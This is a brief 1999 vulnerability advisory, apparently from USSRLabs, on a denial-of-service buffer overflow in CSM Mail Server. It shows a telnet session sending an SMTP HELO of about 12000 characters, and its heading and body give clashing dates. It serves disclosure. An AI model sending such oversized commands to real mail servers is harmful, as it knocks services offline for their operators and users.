CSM Mail Server DoS - 04 Nov 1999

 
CSM Mail Server Denial of Service
Reported December 31, 1999 by USSRLabs

DESCRIPTION

UssrLabs found a Local / Remote Buffer overflow,and maybe remotely
exploitable buffer overflow, the overflow is caused by a (long HELO) in the login procedure.

Example:

telnet DOMAIN 25
Trying DOMAIN...
Connected to DOMAIN.
Escape character is "^\]".
220 SMTP CSM Mail Server ready at DOMAIN (Version 2000.08.A - NT.4.0.1381)
helo \[buffer\]

Where \[buffer\] is approximately 12000 characters.

VENDOR RESPONSE

CSM has been made aware of this issue, however no remedy was known at the time of this writing.

CREDITS
Discovered by USSRLabs